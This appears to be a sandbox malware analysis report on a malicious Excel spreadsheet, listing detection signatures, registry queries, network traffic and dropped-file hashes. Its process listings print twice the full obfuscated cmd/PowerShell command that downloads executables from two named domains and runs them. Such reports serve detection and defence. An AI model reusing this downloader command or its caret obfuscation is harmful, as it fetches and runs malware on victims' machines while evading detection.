Analysis Overview
SHA256
99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4
Threat Level: Known bad
The file 99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Office macro that triggers on suspicious action
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious behavior: AddClipboardFormatListener
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-22 22:25
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-22 22:25
Reported
2024-07-22 22:26
Platform
win7-20240704-en
Max time kernel
24s
Max time network
17s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\CMd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls
C:\Windows\SysWOW64\CMd.exe
CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cizijazykyhrou.cz | udp |
| CZ | 46.8.8.200:80 | cizijazykyhrou.cz | tcp |
| US | 8.8.8.8:53 | biwebdisseny.com | udp |
Files
memory/2216-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2216-1-0x0000000071D5D000-0x0000000071D68000-memory.dmp
memory/2216-366-0x0000000006270000-0x0000000006370000-memory.dmp
memory/2216-263-0x0000000006270000-0x0000000006370000-memory.dmp
memory/2216-164-0x0000000006270000-0x0000000006370000-memory.dmp
memory/2216-455-0x0000000006270000-0x0000000006370000-memory.dmp
memory/2216-563-0x0000000071D5D000-0x0000000071D68000-memory.dmp
memory/2216-564-0x0000000006270000-0x0000000006370000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-22 22:25
Reported
2024-07-22 22:26
Platform
win10v2004-20240709-en
Max time kernel
46s
Max time network
43s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2496 wrote to memory of 5412 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\CMd.exe |
| PID 2496 wrote to memory of 5412 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\CMd.exe |
| PID 5412 wrote to memory of 5532 | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 5412 wrote to memory of 5532 | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls"
C:\Windows\SYSTEM32\CMd.exe
CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cizijazykyhrou.cz | udp |
| CZ | 46.8.8.200:80 | cizijazykyhrou.cz | tcp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | biwebdisseny.com | udp |
| US | 8.8.8.8:53 | 200.8.8.46.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.179.89.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
Files
memory/2496-0-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp
memory/2496-2-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp
memory/2496-1-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp
memory/2496-3-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp
memory/2496-4-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp
memory/2496-5-0x00007FF8DF4CD000-0x00007FF8DF4CE000-memory.dmp
memory/2496-9-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-10-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-8-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-11-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-7-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-6-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-13-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-12-0x00007FF89D400000-0x00007FF89D410000-memory.dmp
memory/2496-14-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-18-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-19-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-17-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-16-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/2496-15-0x00007FF89D400000-0x00007FF89D410000-memory.dmp
memory/2496-99-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp
memory/5532-615-0x000001A61CB60000-0x000001A61CB82000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdxrkrzb.tm5.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Roaming\38726.exe
| MD5 | 6ef02398f62dba21a714f594f1b41c0c |
| SHA1 | 35ff956a403f991440678410da9d62b6af356458 |
| SHA256 | ebb8bb04e30b3a5e04c087a9e7fca556b76961b42433e52473be40e73afa9cd0 |
| SHA512 | 4758938d0602747b811a8a1e630b9e8a43893ce5e97f73824e627b4c75f6247f4918ccc139cdd148e5ceaaec4b8b58cece67f1f04f5c549fcb140b7e0feb3f14 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 966172937f36170dafbef1c27fa60cde |
| SHA1 | 4f49c6ecbb49816cef1c807b6b2054d5f7d223c8 |
| SHA256 | 53f4639259085152efcc17392f978db52e7ae473830b2ad317479ffe6fb1c17a |
| SHA512 | f4cf0d3172d455fdb247fcf871b57e14343c91a536c17690fe234e2a4a07a42cd326e63fe06c0d247bc388a678ee06680e5c28e7257ef31ceebf16edf15af571 |
memory/2496-651-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp